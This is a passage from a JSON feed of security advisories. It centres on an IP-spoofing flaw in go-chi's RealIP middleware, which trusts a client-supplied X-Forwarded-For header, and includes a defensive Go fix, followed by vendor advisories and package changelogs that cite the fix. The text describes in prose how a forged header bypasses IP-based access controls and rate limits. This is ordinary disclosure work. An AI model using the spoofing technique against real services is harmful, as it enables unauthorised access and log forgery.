Authenticity\n\n## CVSS Score\n- **CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N** (6.9 Moderate)\n\n## Affected Versions\n- `github.com/go-chi/chi/v5` \u003c= `v5.2.1` (and all previous versions)\n\n## Recommendation\n1.  **Stop using `middleware.RealIP`** if you cannot guarantee that the incoming request headers are from a trusted source and have been sanitized by a proxy.\n2.  Implement a trust-based IP extraction mechanism that verifies the chain of proxies.\n3.  Use the `X-Forwarded-For` header by traversing it from **right to left** and stopping at the first IP address that is not in your list of trusted proxies.\n\n## Suggested Fix\nA secure implementation of `RealIP` should allow developers to specify a list of trusted proxy IP ranges (CIDRs). Below is a conceptual example of how to fix this by traversing the `X-Forwarded-For` header from right to left:\n\n```go\nfunc GetClientIP(r *http.Request, trustedProxies []net.IPNet) string {\n        xff := r.Header.Get(\"X-Forwarded-For\")\n        if xff == \"\" {\n                return r.RemoteAddr\n        }\n\n        ips := strings.Split(xff, \",\")\n        // Traverse from right to left\n        for i := len(ips) - 1; i \u003e= 0; i-- {\n                ipStr := strings.TrimSpace(ips[i])\n                ip := net.ParseIP(ipStr)\n                if ip == nil {\n                        continue\n                }\n\n                if !isTrustedProxy(ip, trustedProxies) {\n                        return ipStr\n                }\n        }\n\n        return r.RemoteAddr\n}\n\nfunc isTrustedProxy(ip net.IP, trustedProxies []net.IPNet) bool {\n        for _, network := range trustedProxies {\n                if network.Contains(ip) {\n                        return true\n                }\n        }\n        return false\n}\n```\n\nBy providing a configuration like `middleware.RealIPWithConfig(Config{TrustedProxies: []string{\"10.0.0.0/8\"}})` , the middleware can safely identify the true client IP even in complex proxy environments.","status":"published","published":"2026-06-25T18:21:37Z","modified":"2026-11-04T04:00:03.945179347Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-290","CWE-345"],"updated_at":"2026-11-04T04:26:59.00442Z"},{"id":"RHSA-2026:49718","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update","status":"published","published":"2026-08-20T10:18:32Z","modified":"2026-10-06T10:31:28.680151407Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T15:53:20.984762Z"},{"id":"RHSA-2026:49732","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update","status":"published","published":"2026-08-20T10:18:33Z","modified":"2026-10-06T10:31:28.629076537Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T15:53:20.984762Z"},{"id":"RHSA-2026:50287","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update","status":"published","published":"2026-08-05T10:37:35Z","modified":"2026-10-20T10:10:23Z","cvss":[{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high"}],"updated_at":"2026-11-02T15:53:20.984762Z"},{"id":"RHSA-2026:54420","title":"Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update","status":"published","published":"2026-08-20T10:19:23Z","modified":"2026-09-26T10:09:42Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N","level":"medium"}],"updated_at":"2026-11-02T15:53:21.457353Z"},{"id":"UBUNTU-CVE-2026-72815","description":"go-chi chi versions \u003e= 5.2.1 and before 5.3.0 contain an IP spoofing vulnerability in the RealIP middleware, which blindly trusts the first (leftmost) value of the X-Forwarded-For HTTP header. A remote attacker can bypass IP-based access control lists and rate-limiting mechanisms, and forge log entries, by supplying a spoofed IP address in the X-Forwarded-For header. The issue is fixed in version 5.3.0.","status":"published","published":"2026-08-14T12:16:00Z","modified":"2026-08-19T11:11:14Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","level":"medium"}],"updated_at":"2026-11-02T16:57:08.628462Z"},{"id":"GO-2026-5774","title":"Chi has an IP spoofing vulnerability in middleware.RealIP in github.com/go-chi/chi","description":"Chi has an IP spoofing vulnerability in middleware.RealIP in github.com/go-chi/chi","status":"published","published":"2026-07-24T18:35:55Z","modified":"2026-08-15T05:18:57.642465257Z","updated_at":"2026-11-02T15:47:02.838915Z"},{"id":"openSUSE-SU-2026:11607-1","title":"cloudflared-2026.8.2-1.1 on GA media","description":"These are all security issues fixed in the cloudflared-2026.8.2-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-08-26T00:00:00Z","modified":"2026-08-27T11:02:02.685467355Z","updated_at":"2026-11-02T16:58:39.516824Z"},{"id":"openSUSE-SU-2026:11810-1","title":"warewulf4-4.7.1-1.1 on GA media","description":"These are all security issues fixed in the warewulf4-4.7.1-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-09-17T00:00:00Z","modified":"2026-09-18T18:23:08.815146419Z","updated_at":"2026-11-02T16:58:39.516824Z"},{"id":"openSUSE-SU-2026:12297-1","title":"kubectl-retina-1.3.1-1.1 on GA media","description":"These are all security issues fixed in the kubectl-retina-1.3.1-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-10-27T00:00:00Z","modified":"2026-10-28T17:23:13.322692253Z","updated_at":"2026-11-02T16:58:40.245664Z"},{"id":"openSUSE-SU-2026:21645-1","title":"Security update for trivy","description":"This update for trivy fixes the following issue:\n\n- CVE-2026-72815,CVE-2026-72816,CVE-2026-72817: github.com/go-chi/chi/v5: multiple IP spoofing vulnerabilities allow\n  authentication bypass, authorization override, and log forgery (bsc#1276128).\n\nChanges for trivy:\n\n- Update to version 0.74.0:\n * release: v0.74.0 [main] (#11037)\n * chore(deps): update golang.org/x modules (#11094)\n * chore(deps): bump the docker group with 2 updates (#11090)\n * docs: update release branch ruleset instructions (#11093)\n * chore(deps): bump the common group across 1 directory with 7 updates (#11086)\n * fix(misconf): unmark cty values outside the evaluation context (#11078)\n * chore(deps): bump the aws group across 1 directory with 6 updates (#11053)\n * fix(misconf): parse Azure flexible server parameters under their own names (#11072)\n * chore(deps): bump the docker group with 2 updates (#11054)\n * feat: add RapidFort curated image scanner (#10452)\n * feat(java): resolve JAR license URLs to SPDX IDs (Bundle-License, pom \u003curl\u003e) (#10948)\n * refactor(misconf): remove unused Azure expression-related code (#10637)\n * fix(server): preserve check aliases and query in uploaded blobs (#11080)\n * fix(java): read artifact properties only from the MANIFEST.MF main section (#11066)\n * fix(terraform): support OpenTofu language block (#10923)\n * chore(deps): bump github.com/go-git/go-git/v5 from 5.19.1 to 5.19.2 (#11063)\n * ci: trigger Auto Ready for Review after Test docs (#11045)\n * docs: remove trivy-checks from AWS ECR locations (#11044)\n * refactor(ubuntu): move EOL version resolution out of loop (#11047)\n * fix(python): normalize dependency names in PEP 621 pyproject.toml (#11050)\n * chore(deps): bump oras.land/oras-go/v2 from 2.6.1 to 2.6.2 (#11042)\n * chore(deps): bump github.com/nikolalohinski/gonja/v2 to v2.9.0 (#11038)\n * fix(terraform): avoid panic when for_each local has unknown object values (#11019)\n * chore(deps): bump the github-actions group across 2 directories with 15 updates (#11028)\n * ci(spdx): migrate to Slack notifications (#11032)\n * ci(helm): bump Trivy version to 0.73.0 for Trivy Helm Chart 0.25.0 (#11034)\n- Update to version 0.73.0:\n * release: v0.73.0 [main] (#11012)\n * docs: clarify debug logs when version check or telemetry is disabled (#10984)\n * feat(java): support user-defined Maven mirrors in trivy.yaml (#11006)\n * chore(deps): bump the common group across 1 directory with 17 updates (#11025)\n * chore(deps): bump the docker group across 1 directory with 2 updates (#10991)\n * chore(deps): bump the aws group across 1 directory with 6 updates (#10947)\n * refactor(alpine): remove type assertion when reading the APKINDEX archive (#11013)\n * chore(deps): bump google.golang.org/grpc from 1.81.1 to 1.82.1 (#10995)\n * feat(vex): discover OpenVEX in generic in-toto OCI referrers (#10986)\n * refactor(vuln): add OS.Supplier field and unify supplier terminology (#11007)\n * chore(deps): bump github.com/google/cel-go from 0.28.1 to 0.30.0 (#11009)\n * fix(vex): reject non-local VEX repository names (#10987)\n * fix(vex): handle 304 status code (#10307)\n * fix(vuln): don't skip packages covered by a driver's own advisory feed (#10980)\n * fix(conda): avoid panic on an all-operator dependency line (#10955)\n * chore: add schema id (#10969)\n * feat(vex): native discovery of VEX documents stored as OCI artifacts (#10932)\n * feat: add bounded read helpers (#10974)\n * fix(dotnet): identify deps.json root project from dependency graph (#10954)\n * feat(java): read Jenkins plugin manifest licenses (#10939)\n * docs: ask contributors to coordinate before starting on an issue (#10940)\n * fix(nodejs): support pnpm workspaces with overlapping packages (#10894)\n * ci: create release branch with the App token to bypass the merge queue rule (#10931)\n * chore(deps): bump the common group across 1 directory with 15 updates (#10892)\n * feat(seal): detect no-prefix packages by version suffix (#10911)\n * chore(deps): bump the testcontainers group with 2 updates (#10918)\n * chore(deps): bump the docker group across 1 directory with 4 updates (#10919)\n * fix(java): set per-file digest for nested JARs (#10855)\n * fix(misconf): guard nil Healthcheck when building Dockerfile from history (#10899)\n * ci(helm): bump Trivy version to 0.72.0 for Trivy Helm Chart 0.24.0 (#10908)\n * ci(helm): allow trivy team to approve Chart.yaml bumps (#10912)\n","status":"published","published":"2026-08-25T07:22:37Z","modified":"2026-08-27T18:23:13.685422441Z","updated_at":"2026-11-02T16:58:41.885092Z"},{"id":"openSUSE-SU-2026:21653-1","title":"Security update for v2ray-core","description":"This update for v2ray-core fixes the following issues:\n\nChanges in v2ray-core:\n\n- Update version to 5.53.0\n  * Add X-Forwarded-For support to gRPC transport\n  * Add Stream based Packet Addr for UDP Connections\n  * rrpit: compact session, async send, session recovery\n  * Add socks5ify engineering command\n  * Fix bugs\n  * Update modules (boo#1276119 and CVE-2026-72817, CVE-2026-72815, CVE-2026-72816)\n\n- Update version to 5.51.2\n  * Wireguard Add TCP Listener support for wireguard outbound\n  * Stun Nat Type Testing\n  * Better server failure detection and PreserveSourceIPPortWhenDestNATMapping\n    detection\n  * Improve API instance support\n  * feat: grpc: allow configurable keepalive and initial windows size\n  * Add RRPIT - Rapid Reliable Packet Interactive Transport\n  * Add WebRTC Tunnel Support in V2Ray(unreleased)\n  * also parse X-Forwarded-For in httpupgrade\n  * gdocsviewer: Add Google Docs Viewer based transport\n  * gdocsviewer: Refine poll logic and allow custom headers to reduce rate limiting\n  * gdocsviewer: allow adding headers in public config\n  * Fix bugs (boo#1258546 and CVE-2026-27017)\n\n- update golang.org/x/net to 0.55.0 to fix boo#1266787 and CVE-2026-39821\n","status":"published","published":"2026-08-25T18:20:49Z","modified":"2026-08-27T18:23:13.786991834Z","updated_at":"2026-11-02T16:58:41.885092Z"},{"id":"openSUSE-SU-2026:21670-1","title":"Security update for cloudflared","description":"This update for cloudflared fixes the following issues:\n\nChanges in cloudflared:\n\n- Update version to 2026.8.2\n  * Update vendor archive to fix github.com/go-chi/chi/v5 (boo#1276196, CVE-2026-72815, CVE-2026-72816, CVE-2026-72817)\n  * Add OpenRC support\n  * Migrate config renovate.json\n  * Fix bugs\n","status":"published","published":"2026-08-27T19:43:09Z","modified":"2026-08-28T17:30:03.725155406Z","updated_at":"2026-11-02T16:58:41.885092Z"},{"id":"openSUSE-SU-2026:21793-1","title":"Security update for hauler","description":"This update for hauler fixes the following issues:\n\nChanges in hauler:\n\n- update to 2.1.0 (bsc#1265425, CVE-2026-41888):\n  * `v2.1.0` is a **minor** release built on the containerd-\n    native foundation laid down in `v2.0.0`. The headline is that\n    `hauler store sync` and `hauler store add` are now fully\n    concurrent, with signature verification pinned to digests and\n    running in parallel too. Alongside that, this release adds an\n    audit trail, a store integrity checker, store-to-manifest\n    generation, private/insecure registry support across every\n    pull path, and a set of fixes for containerd imports, chunked\n    hauls, and Docker Hub reference handling.\n  * **Notable dependency bumps:** Go → **1.26.6**;\n    `containerd/v2` → 2.3.4; `sigstore/cosign/v3` → 3.1.3;\n    `sigstore/sigstore` → 1.10.9; `go-containerregistry` →\n    0.22.0; `helm/v4` → 4.2.4; `k8s.io` libs (apimachinery, api,\n    client-go) → 0.37.0; `logrus` → 1.10.2; `docker/go-metrics` →\n    0.1.0; `sigstore/rekor` → 1.5.4 (CVE resolution); plus\n    `x/mod` and `go-isatty`.\n\n- update to 2.0.3 (bsc#1276124,\n  CVE-2026-72817,CVE-2026-72815,CVE-2026-72816):\n  * Bump k8s.io/apimachinery from 0.36.2 to 0.36.3 (backport\n    #688)\n  * Bump oras.land/oras-go/v2 from 2.6.1 to 2.6.2 in the\n    go_modules group across 1 directory (backport #691)\n  * fix for homebrew macOS binary quarantine (backport #690)\n  * fix: process Helm deps before --add-images discovery\n    (backport #703)\n  * update hauler store remove to handle registry reference as\n    part of string (backport #705)\n  * fixed vuln for golang grpc\n","status":"published","published":"2026-09-03T12:32:31Z","modified":"2026-09-09T18:23:15.8738835Z","updated_at":"2026-11-02T16:58:42.426393Z"},{"id":"openSUSE-SU-2026:21918-1","title":"Security update for warewulf4","description":"This update for warewulf4 fixes the following issues:\n\nChanges in warewulf4:\n\n- updating to v4.7.1 with the following changes\n  * wwctl power no longer falls back to the local BMC for nodes with no\n    ipmi: ipaddr:, which could power off the Warewulf server itself\n  * wwclient is built with GOAMD64=v1 and no longer fails with an illegal\n    instruction on older nodes\n  * prevent image and overlay corruption from 64-bit inode numbers\n    truncating in cpio\n  * fix kernel version detection for releases with a version-like suffix\n    after the dist tag\n  * several fixes for IPv6-only servers and nodes: dracut boot,\n    wwctl node status, dnsmasq, NetworkManager\n  * remove dsa from the default ssh: key types, which could leave nodes\n    with no usable host keys on EL9\n  * mount non-root filesystems before image extraction during\n    provision-to-disk\n  * overlay template fixes for parent directories and symbolic links\n- dependency updates, including go-jose 4.1.4 for CVE-2026-34986 (bsc#1262805)\n- updated go-chi to v5.3.2 to fix CVE-2026-72815, CVE-2026-72816 and\n  CVE-2026-72817 (IP spoofing: authentication bypass, authorization\n  override, and log forgery) (bsc#1276100)\n","status":"published","published":"2026-09-18T10:51:38Z","modified":"2026-09-25T18:23:13.334775304Z","updated_at":"2026-11-02T16:58:42.426393Z"}]}}